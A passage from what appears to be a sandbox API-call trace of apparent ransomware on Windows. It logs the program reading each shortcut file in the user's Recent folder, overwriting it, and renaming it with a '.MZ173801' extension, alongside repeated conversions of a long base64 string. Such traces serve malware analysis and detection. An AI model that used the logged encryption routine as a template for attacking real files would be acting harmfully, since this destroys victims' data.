RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w0uRZSuowOKzyGbEL2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\w0urzsuowokzygbel2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.272] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x26b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x26b, lpOverlapped=0x0) returned 1 [0122.272] CloseHandle (hObject=0x288) returned 1 [0122.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w0uRZSuowOKzyGbEL2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\w0urzsuowokzygbel2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.274] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x26b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x26b, lpOverlapped=0x0) returned 1 [0122.274] CloseHandle (hObject=0x288) returned 1 [0122.279] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w0uRZSuowOKzyGbEL2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\w0urzsuowokzygbel2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w0uRZSuowOKzyGbEL2.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\w0urzsuowokzygbel2.lnk.mz173801")) returned 1 [0122.281] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf23f5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa9a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="wb3dJsVzJYFX6zhDznM.lnk", cAlternateFileName="WB3DJS~1.LNK")) returned 1 [0122.281] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.281] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wb3dJsVzJYFX6zhDznM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wb3djsvzjyfx6zhdznm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf23f5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf23f5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf23f5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa9a)) returned 1 [0122.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wb3dJsVzJYFX6zhDznM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wb3djsvzjyfx6zhdznm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.285] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa9a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa9a, lpOverlapped=0x0) returned 1 [0122.286] CloseHandle (hObject=0x288) returned 1 [0122.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wb3dJsVzJYFX6zhDznM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wb3djsvzjyfx6zhdznm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.288] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa9a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa9a, lpOverlapped=0x0) returned 1 [0122.289] CloseHandle (hObject=0x288) returned 1 [0122.300] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wb3dJsVzJYFX6zhDznM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wb3djsvzjyfx6zhdznm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wb3dJsVzJYFX6zhDznM.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wb3djsvzjyfx6zhdznm.lnk.mz173801")) returned 1 [0122.301] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf774600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf774600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="WBa20XpzpXs6n.lnk", cAlternateFileName="WBA20X~1.LNK")) returned 1 [0122.301] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.301] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WBa20XpzpXs6n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wba20xpzpxs6n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf774600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf774600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1 [0122.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WBa20XpzpXs6n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\wba20xpzpxs6n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.306] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xed0, 